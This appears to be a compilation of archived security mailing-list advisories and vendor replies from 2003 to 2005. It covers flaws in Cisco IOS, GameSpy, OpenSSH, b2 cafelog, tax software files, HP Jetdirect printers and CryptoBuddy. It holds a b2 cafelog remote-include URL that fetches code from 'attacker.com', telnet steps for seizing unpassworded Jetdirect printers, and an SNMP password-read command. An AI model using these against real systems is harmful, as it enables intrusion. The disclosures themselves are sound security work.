-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 > [EMAIL PROTECTED] <[EMAIL PROTECTED]> [2005-11-28 16:01] wrote: > It has been identified a vulnerability in the Cisco IOS Web Server. An > attacker can inject > arbitrary code in some of the dynamically generated web pages. To succesfully > exploit the vulnerability the attacker only needs to know the IP of the > Cisco. THERE'S NO NEED TO HAVE ACCESS TO THE WEB SERVER! Once the code has > been inyected, attacker must wait until the admin browses some of the > affected web pages. > > Full advisory and P.o.C. exploit that changes the "enable" password at: > > http://www.infohacking.com > [- End of Included Message -] Cisco has released an advisory regarding this issue. For workarounds, fixes and more information regarding this vulnerability, please refer to: http://www.cisco.com/warp/public/707/cisco-sa-20051201-http.shtml - -Mike- - -- - ------ | |||| | Mike Caudill <[EMAIL PROTECTED]> | | |||| | PSIRT Incident Manager | | | DSS PGP: 0xEBBD5271 | | ..:||:..:||:.. | +1.919.392.2855 / +1.919.522.4931 (cell) | | C i s c o S y s t e m s | http://www.cisco.com/go/psirt| - -- -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.2 (GNU/Linux) iD8DBQFDkHgiimPJSeu9UnERAsy3AJ4wWIN5oBE1N82sCoH6xwGZmAB35QCglP8F 0B6VqtHOUQA8s9PYSmz2qVg= =aoxd -END PGP SIGNATURE-
Re: Cisco CSS 11000 Series DoS
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 This is to acknowledge your postings regarding a Denial of Service vulnerability in the Cisco CSS 11000 platforms located at: Vulnwatch list: http://lists.insecure.org/lists/vulnwatch/2003/Jul-Sep/0073.html BUGTRAQ: http://www.securityfocus.com/archive/1/332284/2003-08-05/2003-08-11/0 The Cisco PSIRT is investigating the issue further. Once we have verified details surrounding this problem, we will post a response to both forums with more information regarding fixed software versions and applicable workarounds which can be used to mitigate the problem. Thanks. - -Mike- > ### > ID: S21SEC-025-en > Title: Cisco CSS 11000 Series DoS > Date: 04/07/2003 > Status: Solution available > Scope: Interruption of service, high CPU load. > Platforms: All/Chassis CS800. > Author: ecruz, egarcia, jandre > Location: http://www.s21sec.com/en/avisos/s21sec-025-en.txt > Release: External > ### > > S 2 1 S E C > > http://www.s21sec.com > >Cisco CSS 11000 Series Denial of service > > Description of vulnerability > > > A heavy storm of TCP SYN packets directed to the circuit address of the > CSS > can cause DoS on it, high cpu load or even sudden reboots. > > The issue is known by cisco as the ONDM Ping failure (CSCdz00787). On the > CS800 chassis the > system controller module (SCM) sends ONDM (online diagnostics monitor) > pings to each SFP card > in order to see if they are alive, if the SCM doesn't get a response in > about 30 seconds the > SCM will reboot the CS800 and there will be no core. > > By attacking the circuit IP address of the CSS with SYN packets the > traffic is sent up to the SCM > over the internal MADLAN ethernet interface. If this internal interface > becomes overloaded > the ONDM ping request and response traffic can be dropped leading this to > an internal DoS > since no internal comunications are available. > > Any attacker could do this externally with a few sessions of NMAP and a > cable/ADSL internet > connection. > > Affected Versions and platforms > --- > > This vulnerability affects the models 11800, 11150 and 11050 with chassis > CS800. > > Solution > > > Upgrade to software release WebNS 5.00.110s or above. > http://www.cisco.com/en/US/products/hw/contnetw/ps789/prod_release_note0918 > 6a008014ee04.html > > AcL's to protect the circuit address are recomended. > > Additional information > -- > > These vulnerabilities have been found and researched by: > > Eduardo Cruz[EMAIL PROTECTED] > Emilin Garcia [EMAIL PROTECTED] > Jordi Andre[EMAIL PROTECTED] > > You can find the last version of this warning in: > > http://www.s21sec.com/en/avisos/s21sec-025-en.txt > > And other S21SEC warnings in http://www.s21sec.com/en/avisos/ - -- - | |||| | Mike Caudill | [EMAIL PROTECTED] | | |||| | PSIRT Incident Manager| 919.392.2855 | | | DSS PGP: 0xEBBD5271 | 919.522.4931 (cell)| | ..:||:..:||:.. | RSA PGP: 0xF482F607 -| | C i s c o S y s t e m s | http://www.cisco.com/go/psirt | - -BEGIN PGP SIGNATURE- Version: PGP 6.5.2 iQA/AwUBPzPjG4pjyUnrvVJxEQJNOwCfR7b6rjXNpcAmbgXue5pk6t6+PDEAoO4n vZpl/lFWudgREMq98AwDGbFq =DY/N -END PGP SIGNATURE-
GameSpy Arcade Arbitrary File Writing Vulnerability
### ThreeZee Technology, Inc. Security Advisory#TZT002 ### Advisory:GameSpy Arcade Arbitrary File Writing Discovered: July 26, 2003 Released:July 31, 2003 Risk:Critical; Allows writing of a file to any location on the victim's system. Author: Mike Kristovich, Security Researcher ThreeZee Technology, Inc. http://www.ThreeZee.com ### Table of contents: 1)Introduction 2)The Bug 3)Details 4)Fix 5)Philosophy 6)Closing comments ___ 1) Introduction The problem exists within GSAPAK.EXE, a game update agent which is included by default with the installation of GameSpy Arcade. GameSpy automatically adds three mime types to the list of accepted documents in Internet Explorer and Netscape Navigator, which are: "application/x-gsarcade-usersvc" "application/x-gsarcade-skinpak" "application/x-gsarcade-launch" By default, when a file with the extension of .APK, .arcade or .asn is received, it will be launched by GSAPAK.exe. ___ 2) The Bug When a user receives a file with the .APK extension, it is actually a simple ZIP file. An attacker could simply construct a ZIP file, and change the path so that it would by extracted into the root directory of the drive, or even the startup directory of Windows. Using this method, it would be quite easy to insert a virus, trojan horse, or pretty much anything one desires, into the victim's system. i.e.: ../../../calc.exe - Would put it in the root directory Because the file is considered an accepted type by browsers, there will be no dialog asking the user to accept or deny receiving it. ___ 3) Risk If a user were to have JavaScript enabled, the attacker could even add "onLoad=" to an IMG tag on a web page, which would run the file upon the image being loaded. This could have serious consequences on Gaming Forums. This bug does not require GameSpy Arcade to run, or ever have run. It's possible that it has been installed along with a game, and hasn't been touched. This does not make the user safe. GSAPAK.exe is a separate entity in the GameSpy package, and is useful for the purpose they've created it. ___ 4) Fix GameSpy was notified on July 28, 2003. GameSpy responded very quickly, and they were on their way to fixing the bug within 12 hours of the initial contact. Directory of GameSpy Technology, David Wright, has told TZT that this vulnerability will be fixed in a patch this week. We'd like to thank GameSpy for their extremely fast response and professionalism in handling this matter. Current GameSpy Arcade users should see the patch, and be given the option (possibly required) to update. We suggest the latter. If you have concerns about waiting for the patch, it can be temporarily fixed by removing the above specified accepted documents from the registry. You could also remove GSAPAK.exe, or you could even choose to uninstall GameSpy Arcade until the patch becomes available later this week. ___ 5) Philosophy GameSpy has hundreds of thousands of users, most of which are using GameSpy Arcade and are vulnerable to this bug. This bug has now been disclosed, and all users should patch their system as soon as the patch is available. Keep in mind, your system will still be vulnerable even if you've installed GameSpy Arcade, but never ran it. ___ 6) Closing comments We would like to thank GameSpy and David Wright for their prompt handling of the bug report, again. ___ 7) Contact Questions, comments, complaints: Mike Kristovich, Security Researcher ThreeZee Technology, Inc. http://www.ThreeZee.com [EMAIL PROTECTED] Press inquiries: [EMAIL PROTECTED]
Tomcat Dangerous Documentation/Tomcat Default Plaintext Password Storage
>From the Realm HOW-TO on the Tomcat 4.0/4.1 documentation pages: "For each of the standard Realm implementations, the user's password (by default) is stored in clear text. In many environments, this is undesireable because casual observers of the authentication data can collect enough information to log on successfully, and impersonate other users. To avoid this problem, the standard implementations support the concept of digesting user passwords. " Following, near a paragraph down. "When a standard realm authenticates by retrieving the stored password and comparing it with the value presented by the user, you can select digested passwords by specifying the digest attribute on your element. The value for this attribute must be one of the digest algorithms supported by the java.security.MessageDigest class (SHA, MD2, or MD5)." First of all, if SHA, MD2, and MD5 are all supported (since 4.x, as the Realm documentation would lead me to believe), and it's only a matter of adding an attribute to the server.xml file, what is stopping them from enabling this by default? The problem is made even worse for the 4.x family by the fact that the install documentation seems yet to be mature, as this rather simple fix is buried in a rather confusingly titled document "Realm HOW-TO," and no reference is to be found in any of the "Getting Started" documents. As far as I can tell, with limited experience in both the 3.x and 5.x branches, although it's more an issue of user neglegience for the well-documented 5.x branch, the 4.x documentation is dangerously ignorant of this issue. While proper file system permissions easily prevent unencrypted authentication storage issue from causing real trouble, there are always breaks and loops in any file system or permission set, so when that happens, why give this information away for free?
OpenSSH remote clent address restriction circumvention
Welkyn Security Advisory SA-2003060400 Synopsis: SSH "from=" and "[EMAIL PROTECTED]" restrictions spoofable via reverse DNS for numerically specified IP addresses. Issue Date: June 4, 2003 Software Affected: OpenSSH 3.6.1 and earlier Vendor notified: May 24, 2003. Vendor response: See workarounds, below. Severity: Low/Medium (unauthorized remote access) Description: OpenSSH provides a number of mechanisms to restrict client remote logons to a server. An individual user may use "From=" in their $HOME/.ssh/authorized_keys file, the sshd_config file can use '@' to restrict certain users to logging in from certain hosts. The hostpatterns are similar to Unix glob file matching, with ? and * acting as wildcards. Either an IP address or a host name may be specified in the pattern. When a host name is specified, a reverse lookup is done on the IP address of the client host. Trivially, this is spoofable when the attacker controls his own reverse DNS. The sshd_config file for the server does provide a VeriftyReverseMapping flag (which defaults to 'no') that will cause a reverse DNS lookup to be followed by a forward DNS lookup and the two mappings will be required to match, preventing trivial spoofing. Interestingly, when a purely numeric IP address is provided, an attacker who controls reverse DNS for his host can circumvent this controls by returning text containing a numeric IP address in the reverse DNS response. This would allow stolen keys containing numeric IP address restrictions to be used from other IP address, or external access to a system which had AllowUsers [EMAIL PROTECTED] set in an attempt to limit access to users in the internal 192.168/16 network. The exploit works because the code treats both the IP address and hostname as strings, and there is no logic to indicate when a pure IP address match should be attempted. This exploit does not provide direct access to server, but may allow access from disallowed hosts. An example could be a former employee who has a password or private key but no longer has access to the network from inside the company, or an external hacker who is guessing passwords. The commercial F-Secure SSH-1 and SSH2 products do not appear to have this problem - they must have been fixed after the OpenSSH code fork. Workarounds: Enable 'VerifyReverseMapping' on the sshd server - this may, however, lead to slow logins when the client doesn't have a reverse DNS server. This is the vendor recommended workaround. Future versions of OpenSSH should address this vulnerability, either by documentation or code changes. Consider using tcp-wrappers to restrict access by IP address. Consider using a packet filter or firewall in addition to the OpenSSH restrictions. Contact: This vulnerabilty was discovered by Michael V. Harding ([EMAIL PROTECTED]) during a code inspection and verified with a DNS server.
Re: b2 cafelog 0.6.1 remote command execution.
pokleyzz wrote:
Products: b2 cafelog 0.6.1 (http://cafelog.com/)
Date: 29 May 2003
Author: pokleyzz
Contributors: sk_at_scan-associates.net
shaharil_at_scan-associates.net
munir_at_scan-associates.net
URL: http://www.scan-associates.net
Summary: b2 cafelog 0.6.1 remote command execution.
Description
===
b2 cafelog is blogger system written in php with mysql ad database backend.
Details
===
b2 cafelog 0.6.1 come with directory b2-tools. This directory contain 2
php scripts
(blogger-2-b2.php and gm-2-b2.php) which allow user to specify $b2inc
and do
remote code injection.
from blogger-2-b2.php line 21
-
case "step1":
include("b2config.php");
include("$b2inc/b2functions.php");
include("$b2inc/b2vars.php");
from gm-2-b2.php line 5
--
// 3. load in the browser from there
include("b2config.php");
include($b2inc."/b2functions.php");
---
Proof of concept
===
http://blabla.com/b2-tools/gm-2-b2.php?b2inc=http://attacker.com
attacker.com have file named b2functions.php with php script you want to
execute.
Workaround
=
Remove b2-tools directory.
Vendor Response
===
Vendor has been contacted on 19/05/2003 but to reply given.
Firstly, the issue has been addressed
http://tidakada.com/board/viewtopic.php?t=3212
and a new version issued
http://tidakada.com/board/viewtopic.php?t=3234
Secondly, has anyone tried this? The fact is that b2config.php defines
$b2inc with no test before hand. So that, whilst for the duration of the
parsing of b2config.php, $b2inc could indeed be set to some value from
the outside world. It is immediately overwritten with no check with the
value set by the user (or left from the defalut installation).
In order to effectively use the setting of b2inc for malicious purposes
you would have to have enough access to edit b2config.php.
Mike
PivX Advisory MK002B H&R Block TaxCut Information Disclosure Vulnerability
Mike Kristovich, PivX Security Advisory MK#002B Date:January 10, 2003 Application: H&R Block Tax Cut Version: All versions up to current. Bug: Information in saved Tax Returns discloses Social Security Number, Full Information, and more.. Risk:Can allow for identity theft, information disclosure Author: Mike Kristovich, Security Researcher, PivX Solutions, LLC e-mail: [EMAIL PROTECTED] Sections: 1) Introduction 2) Bug 3) Proof of concept code. 4) Fix 5) Philosophy 6) Closing comments.. 7) Contact __ 1) Introduction According to the Jupiter report, 31 percent of online households intend to file their taxes over the Web this year, up from the 30 percent reported by the Internal Revenue Service (IRS) last year. The IRS plans to receive 80 percent of all returns electronically by 2007. Complaints about identity theft have risen 73 percent from a year ago, according to a new report from the Federal Trade Commission. With the influx of e-tax filers and the rise in identity theft PivX believes this vulnerability should be taken quite seriously. Someone with a minimal set of computer skills could locally or remotely obtain confidential information on multitude of users. TurboTax (Advisory #MK002A) and TaxCut (#MK002B) both save their contents to the hard drive. These files are unencrypted, and even with a simple text editor, you can see all the information you would in the tax return. These files can be accessed in any number of ways, but the most likely way would be through unprotected windows shares. Another key method to extract these files by means of a P2P file sharing application such as Limewire, KaZaa, Morpheus, etc etc. Many users have their P2P applications misconfigured and this is supported by doing a quick search on the tax file extension listed below. See the below KaZaa screenshot of a local-range search for tax files. A full network search could yeild thousands upon thousands of results.: http://www.pivx.com/kristovich/images/kazaatax.jpg The bottom line is: - Be aware of what you are sharing to the public - There are other ways files could be collected, such as through a worm, an exploit, or a trojan horse. H&R Block Tax Cut files are named with this extension: ".sbr" .. Decently small files < 8k usually. and are usually located in a directory off the root of the drive, such as "TaxCut02", under the subdirectory "Program\TaxData" A "hacked" H&R block computer could give an identity theft hundreds of plaintext files full of information. Example Screenshot: [http://www.pivx.com/kristovich/images/taxcut.gif] __ 2) Bug Just a small insecurity can lead to a lot of information. Tax Cut is pretty simple to view. Just load the file into a text editor and you've got it all. Social Security #, dependants SS#s, address, wages, etc. Example Screenshot: [http://www.pivx.com/kristovich/images/sbrfile.jpg] __ 3) Proof-of-concept code No proof of concept needed, just use a hex editor or text editor as files are associated: (.sbr) Text Editor __ 4) Fix * No response has yet been recieved from H&R Block. (1/10/2003) * Second contact email sent on 1/29/2003. * No response as of 3/04/2003. The best solution is to move saved tax files to a more private place, such as a CD-R. Even if a drive is not shared to the public, you may still be at risk through other exploits or trojan horses. As mentioned by Becky Worley in a TechTV article tuesday, [http://www.techtv.com/news/security/story/0,24195,3420432,00.html] Easy Crypto Deluxe is recommended to password protect your sensitive data. You can download it here: http://www.handybits.com/easycrypto.htm Hopefully the company will create a fix for this problem. __ 5) Philosophy Full disclosure can lead to a quick fix, and prevent a problem before it gets into the wrong hands. __ 6) Closing comments.. In the electronic world, consider nothing secure. You should never store this type of information on a live computer. Be careful. __ 7) Contact Any questions, comments, complaints, technical questions: Mike Kristovich, Researcher PivX Solutions, LLC [EMAIL PROTECTED] Other Inquiries: Geoff Shively, CHO PivX Solutions, LLC [EMAIL PROTECTED] __
PivX Advisory MK002A Intuit TurboTax Information Disclosure Vulnerability
Mike Kristovich, PivX Security Advisory MK#002A Date:January 10, 2003 Application: Intuit TurboTax Version: All versions up to current. Bug: Information in saved Tax Returns discloses Social Security Number, Full Information, and more.. Risk:Can allow for identity theft, information disclosure Author: Mike Kristovich, Security Researcher, PivX Solutions, LLC e-mail: [EMAIL PROTECTED] Sections: 1) Introduction 2) Bug 3) Proof of concept code. 4) Fix 5) Philosophy 6) Closing comments.. 7) Contact __ 1) Introduction According to the Jupiter report, 31 percent of online households intend to file their taxes over the Web this year, up from the 30 percent reported by the Internal Revenue Service (IRS) last year. The IRS plans to receive 80 percent of all returns electronically by 2007. Complaints about identity theft have risen 73 percent from a year ago, according to a new report from the Federal Trade Commission. With the influx of e-tax filers and the rise in identity theft PivX believes this vulnerability should be taken quite seriously. Someone with a minimal set of computer skills could locally or remotely obtain confidential information on multitude of users. TurboTax (Advisory #MK002A) and TaxCut (#MK002B) both save their contents to the hard drive. These files are unencrypted, and even with a simple text editor, you can see all the information you would in the tax return. These files can be accessed in any number of ways, but the most likely way would be through unprotected windows shares. Many ISPs have blocked port 139 among others, but in newer versions of Windows, you may also be sharing on port 445. Port 445 is Microsoft Directory Service. A large number of tax files and the identities within can be harvested in a matter of minutes to hours. Another key method to extract these files by means of a P2P file sharing application such as Limewire, KaZaa, Morpheus, etc etc. Many users have their P2P applications misconfigured and this is supported by doing a quick search on the tax file extension listed below. See the below KaZaa screenshot of a local-range search for tax files. A full network search could yeild thousands upon thousands of results.: http://www.pivx.com/kristovich/images/kazaatax.jpg The bottom line is: - Be aware of what you are sharing to the public - There are other ways files could be collected, such as through a worm, an exploit, or a trojan horse. Intuit TurboTax files (.tax) are usually named this way: " Tax Return.tax" and the files are usually located off the root of the drive, in a directory such as "Tax02" "Tax01" "Tax99", etc. __ 2) Bug Just a small insecurity can lead to a lot of information. For TurboTax, you can do a simple scan for the last name of the person, and closely following it, you'll see their social security number. Browse around that area of the file and you'll see their street address and more. If you use turbotax, load up one of your files in a binary editor and check it out for yourself. __ 3) Proof-of-concept code No proof of concept needed, just use a hex editor or text editor as files are associated: (.tax) Hex Editor View Example Screenshot: http://www.pivx.com/kristovich/images/taxfile.jpg __ 4) Fix Intuit has been contacted and is currently working on a solution. They have informed us that they will now be encrypting files starting in the next version. The best solution is to move saved tax files to a more private place, such as a CD-R. Even if a drive is not shared to the public, you may still be at risk through other exploits or trojan horses. As mentioned by Becky Worley in a TechTV article tuesday, [http://www.techtv.com/news/security/story/0,24195,3420432,00.html] Easy Crypto Deluxe is recommended to password protect your sensitive data. You can download it here: http://www.handybits.com/easycrypto.htm We thank Intuit for the extremely fast response on this one, keep up the good work! __ 5) Philosophy Full disclosure can lead to a quick fix, and prevent a problem before it gets into the wrong hands. __ 6) Closing comments.. In the electronic world, consider nothing secure. You should never store this type of information on a live computer. Be careful.
Re: [Summary of Responses] Bound by Tradition: A sampling of the security posture of the Internet's DNS servers
On Tue, Mar 11, 2003 at 08:30:17AM -0800, Mike Schiffman wrote: > 12) It is a bit misleading to say djbdns has no security > vulnerabilities. While it is true that the component programs that > make up djbdns have not had a known vulnerability, the design of djbdns > relies on external services (Bernstein recommends rsync over ssh, I > believe) to replicate data from the primary to secondaries. By that logic a bug in vi is a bug in BIND, because you need an editor to maintain zone files. DJB may recommend rsync over ssh, but djbdns as distributed by DJB only offers that as one potential way to get data from one computer to another, you can use any means you see fit to do so.
[Summary of Responses] Bound by Tradition: A sampling of the security posture of the Internet's DNS servers
up those assertions: * "Poor programming is obviously the main issue enabling the vulnerabilities" -- you provide no data that demonstrates poor programming. An assertion along the lines of "attempts to integrate code from a wide variety of sources in the traditional open source fashion is the main issue enabling the vulnerabilities" would probably be more accurate. * "BIND ... is a perfect example of what happens when security is retrofit as opposed to designed into the product ..." -- you have not documented a basis that there was an attempt to retrofit security into the product. 9) Bill Manning at ISI runs a periodic survey of BIND versions and has been doing so since 1996 or so. Stating your report "is the first to present substantive proof quantifying just how vulnerable" the DNS infrastructure is ... a bit of a stretch. 10) You mention the root DDoS attacks but they are unrelated to BIND. The attacks didn't even use DNS packets. 11) BIND version 4 continues to get security patches. It is currently at version 4.9.11 (last I looked). 12) It is a bit misleading to say djbdns has no security vulnerabilities. While it is true that the component programs that make up djbdns have not had a known vulnerability, the design of djbdns relies on external services (Bernstein recommends rsync over ssh, I believe) to replicate data from the primary to secondaries. A vulnerability in these external services, mandatory for (the equivalent of) normal zone maintenance data replication with djbdns, would be at least as damaging as a vulnerability in the djbdns package itself. However, it makes it much easier to offer 'security guarantees' since large chunks of functionality are not covered under the warranty (so to speak). There have been vulnerabilities in ssh since djbdns was released. 13) Stating "BIND is mature" is misleading as BINDv9 was a complete, from the ground up rewrite of BIND sharing no code (except for an optionally compile backwards compatibility stub resolver library that does not link into the server) with BINDv8. BINDv4 could be called mature. BINDv8 is arguable. The large jump in lines of code for 8.2 was a result of integration of code from external parties (Intel, Checkpoint, and NAI to name three). Clearly, given the number of lines of code doubled, the maturity of the code base was reset." -- Mike Schiffman, CISSP http://www.packetfactory.net/schiffman.html
[New Research Paper] Bound by Tradition: A sampling of the security posture of the Internet's DNS servers
Hello. I just put the finishing touches on a whitepaper detailing the security posture of the Internet's DNS infrastructure. To wit: "DNS servers across the Internet running BIND are not up to date with security patches and software updates. As a result, a significant fraction of the Internet's DNS servers is vulnerable to compromise, subversion, denial of service, and general misuse. Considering that DNS is the lynchpin of the corporate enterprise, the impact of these vulnerabilities is significant and a successful attack could bring down any online business." http://www.packetfactory.net/DNS/ Comments are welcomed; off-list is preferable and I will post a summary. Thanks. -- Mike Schiffman, CISSP http://www.packetfactory.net/schiffman.html
Re: New HP Jetdirect SNMP password vulnerability when using Web JetAdmin
Sven, Unfortunately, if you do a scan of a few subnets, you're bound to find quite a bit of open, unpassworded Jetdirect hosts. If you just scan for port 23 and/or port 80, these Jetdirects pop up everywhere. Most of them will not have a password set on them. You have this defined as #3 on your "additional protection" list. It makes a very good point that most administrations don't tend to pay attention to. This is a known issue, but it still exists worldwide. The information provided will hopefully remind a good number of people to go ahead and set the password now, before somebody else does. As you will see in the examples below, you can compromise an HP Jetdirect via telnet quite easily. If the password is disabled (as it is on most), you'll have instant administrative access. A similar interface can be found on port 80 (WWW), but is java-driven almost entirely. Take a look at the examples below to see how easily you can compromise via telnet. Telnetting to port 23 will give you the following: --- HP JetDirect Please type "?" for HELP, or "/" for current settings > --- Typing "/" will give you the following: ===JetDirect Telnet Configuration=== Firmware Rev. : G.08.40 MAC Address : 00:X0:X0:cX:7X:Xf Config By : USER SPECIFIED IP Address : X.X.X.X Subnet Mask : 255.255.255.0 Default Gateway : X.X.X.X Syslog Server : Not Specified Idle Timeout: 120 Seconds Set Cmnty Name : Not Specified Host Name : Not Specified DHCP Config : Disabled ---> Passwd : Disabled IPX/SPX : Enabled DLC/LLC : Disabled Ethertalk : Disabled Banner page : Enabled - If you type "?" for help, you'll notice this line at the end. Type passwd to change the password. Type "passwd", and.. Enter Password[16 character max.; 0 to disable]: > You now have complete control of the device, while locking out the "real" administrator. -- > Additional means of protection (does not address the SNMP vulnerability): > 3. Define a telnet password (do not keep it empty) #3 on the list you provided is extremely important. Remember to set a password, or you're leaving the device open for public administration! Thanks, Mike Kristovich, Security Researcher PivX Solutions, LLC http://www.PivX.com - Original Message - From: "Sven Pechler" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Monday, March 03, 2003 10:25 AM Subject: New HP Jetdirect SNMP password vulnerability when using Web JetAdmin > > > Hello, > > During an analysis of some HP Jetdirect cards I discovered a security > issue that could lead to full access to a networked printer. > > It looks like the vulnerability described in > http://www.securityfocus.com/bid/5331, but the OID is different and you > can only obtain one specific password. > It is also different from the password vulnerability described in > http://www.securityfocus.com/bid/3132 > > > It applies to the following situation: > > - Any operating system > > -HP Jetdirect cards JetDirect 300X, (J3263A), JetDirect EX Plus (J2591A), > JetDirect 400N (J2552A, J2552B), JetDirect 600N (J3110A, J3111A, J3113A) > and older. > > -The Jetdirect card is being managed from HP Web Jetadmin. > > -A Web Jetadmin "device password" had been set on the JetDirect card. > (This password must be set from Web Jetadmin and has nothing to do with > the Telnet password or the SNMP Set community name) > > In the above situation the Web Jetadmin device password is readable as > plain ASCII tekst from the JetDirect card using SNMP. > > > How to check your printers for this vulnerability: > > Use an SNMP toolkit to read the following OID from your printer: > .iso.org.dod.internet.private.enterprises.hp.nm.system.net-peripheral.net- > printer.generalDeviceStatus.gdPasswords > (In numerical format: .1.3.6.1.4.1.11.2.3.9.1.1.13.0) > > An example on a Windows machine, using SNMPUTIL from the Windows Resource > kit: > C:\>snmputil get 131.155.120.118 public .1.3.6.1.4.1.11.2.3.9.1.1.13.0 > Variable = .iso.org.dod.internet.private.enterprises.11.2.3.9.1.1.13.0 > Value= String > <0x41><0x42><0x43><0x44><0x55><0x56><0x3d><0x31><0x30><0x38><0 > x3b><0x00><0x00><0x00><0x00> ..etc... > > The resulting string reads in ASCII: ABCDEF=108; > The Web Jetadmin device password is the word before the '=' sign, in this > case: ABCDEF > > > Ho
Re: Cisco IOS OSPF exploit
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Cisco can confirm the statement made by FX from Phenoelit in his message "Cisco IOS OSPF exploit" posted on 2003-Feb-20. The OSPF implementation in certain Cisco IOS versions is vulnerable to a denial of service if it receives a flood of neighbor announcements in which more than 255 hosts try to establish a neighbor relationship per interface. One workaround for this issue is to configure OSPF MD5 authentication. This may be done per interface or per area. Another possible workaround is to apply inbound access lists to explicitly allow certain OSPF neighbors only: access-list 100 permit ospf host a.b.c.x host 224.0.0.5 access-list 100 permit ospf host a.b.c.x host interface_ip access-list 100 permit ospf host a.b.c.y host 224.0.0.5 access-list 100 permit ospf host a.b.c.y host interface_ip access-list 100 permit ospf host a.b.c.z host 224.0.0.5 access-list 100 permit ospf host a.b.c.z host interface_ip access-list 100 permit ospf any host 224.0.0.6 access-list 100 deny ospf any any access-list 100 permit ip any any Cisco IOS Versions 11.1 - 12.0 are subject to this vulnerability. This bug has been resolved. The following versions of Cisco IOS software are the first fixed releases, meaning that any subsequent releases also contain the fix: 12.0(19)S 12.0(19)ST 12.1(1) 12.1(1)DB 12.1(1)DC 12.1(1)T We would like to thank FX for his continued cooperation with us in the spirit of responsible disclosure and working to increase awareness of security issues. For information on working with the Cisco PSIRT regarding potential security issues, please see our contact information at http://www.cisco.com/warp/public/707/sec_incident_response.shtml#Problems Thank you, - -Mike- > Hi there, > > attached you may find the exploit for the Cisco IOS bug ID CSCdp58462. The bug > is long fixed, so if you still run OSPF on a old version of IOS, now is a good > time to give your routers some attention. > > FX > > -- > FX <[EMAIL PROTECTED]> > Phenoelit (http://www.phenoelit.de) > 672D 64B2 DE42 FCF7 8A5E E43B C0C1 A242 6D63 B564 > > /* Cisco IOS IO memory exploit prove of concept > * by FX of Phenoelit <[EMAIL PROTECTED]> > * http://www.phenoelit.de > * > * For: > *19C3 Chaos Communication Congress 2002 / Berlin > *BlackHat Briefings Seattle 2003 > * > * Cisco IOS 11.2.x to 12.0.x OSPF neighbor overflow > * Cisco Bug CSCdp58462 causes more than 255 OSPF neighbors to overflow a IO memory > * structure (small buffer header). The attached program is a PoC to exploit > * this vulnerability by executing "shell code" on the router and write the > * attached configuration into NVRAM to basicaly own the router. > * - -- - | |||| | Mike Caudill | [EMAIL PROTECTED] | | |||| | PSIRT Incident Manager| 919.392.2855 | | | DSS PGP: 0xEBBD5271 | 919.522.4931 (cell)| | ..:||:..:||:.. | RSA PGP: 0xF482F607 -| | C i s c o S y s t e m s | http://www.cisco.com/go/psirt | - -BEGIN PGP SIGNATURE- Version: PGP 6.5.2 iQA/AwUBPlaoLYpjyUnrvVJxEQLcZgCgxAkatIdM5EjV4uMcDgJqd/aFx9EAoPbm Sw0/fZvhc3uuv0NnuBwfSWnw =McnI -END PGP SIGNATURE-
RTS CryptoBuddy Multiple Encryption Implementation Vulnerabilities
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 RTS CryptoBuddy Multiple Encryption Implementation Vulnerabilities __ Advisory Information __ Severity: High Risk Vendor: Research Triangle Software, Inc. Homepage: http://www.rtsz.com/ Advisory reported to vendor: February 2, 2003 Author: Michael Whitehead, CISSP Author Contact: [EMAIL PROTECTED] __ Vulnerability Summary __ The software has multiple vulnerabilities related to the implementation of its passphrase and general encryption techniques. The easiest to exploit is through use of a symmetric key injection attack. An attacker can use the software to encrypt a dummy file with a passphrase of his or her choosing. The resulting secret key can then be inserted into any other file that has been encrypted with the software. The resulting file may then be decrypted using the software and the attacker's previously selected passphrase. Details of this and other vulnerabilities can be found at the end of this advisory. __ Solution __ There is no recommended solution at this time. The vendor was very responsive to this advisory and provided additional information to further develop this advisory. Vendor has indicated that the issues identified in this advisory will be mitigated in the next version of the software. __ Product Description __ This shareware product would be generally classified as a "security & encryption" file utility. A description provided on one of the many shareware sites: "CryptoBuddy(TM) (www.cryptobuddy.com) is an easy-to-use encryption program that allows individuals and corporations to effectively protect and encrypt their files and data. As the Internet increasingly becomes an unsafe medium for transporting confidential information, CryptoBuddy enables you to take any file and quickly encrypt and compress it." __ Affected Versions __ CryptoBuddy 1.2 and earlier versions. O/S Notes: software is only available for Windows (Win95/98/ME/NT/2000/XP) __ Solution __ The use of this software should be determined relative to the risk. __ Advisory Detail __ PREFACE: The software is intended to "effectively protect and encrypt" files. As such, it DOES encrypt files. The EFFECTIVENESS of the method used is key to this advisory. Since this product's primary purpose is to be used as a data encryption system, it is imperative that users of the software are fully aware of limitations in its effectiveness at protecting their data. == Item 1: Vulnerability-- Predictable File Schema; Secret key stored, not used to encrypt data Threat--Unknown secret key can be replaced with known secret key Exposure-- Attacker can decrypt any encrypted file created by any user of this program Attack--"Symmetric key injection" (see Note below). Tools-- hex editor, CryptoBuddy; exploit could be easily scripted Severity -- High Note-- I am using the term "Symmetric key injection attack" as I was unable to find another term for this technique. Description-- A passphrase provided by the user is simply encrypted and stored with the resulting ciphertext and is not actually used to encrypt the plaintext. It is stored in a predictable location (fixed-length, reserved block) in the resulting ciphertext file (offset 120:15A). Since the key is not used to encrypt the plaintext, the attacker can simply encrypt an empty file, copy block 120:15A from the resulting encrypted file, and replace the same block in ANY target file. The target file can then be simply decrypted using the attacker's passphrase (and the CryptoBuddy software). Payload ciphertext is always appended t
PivX Multi-Vendor Game Server dDoS Advisory
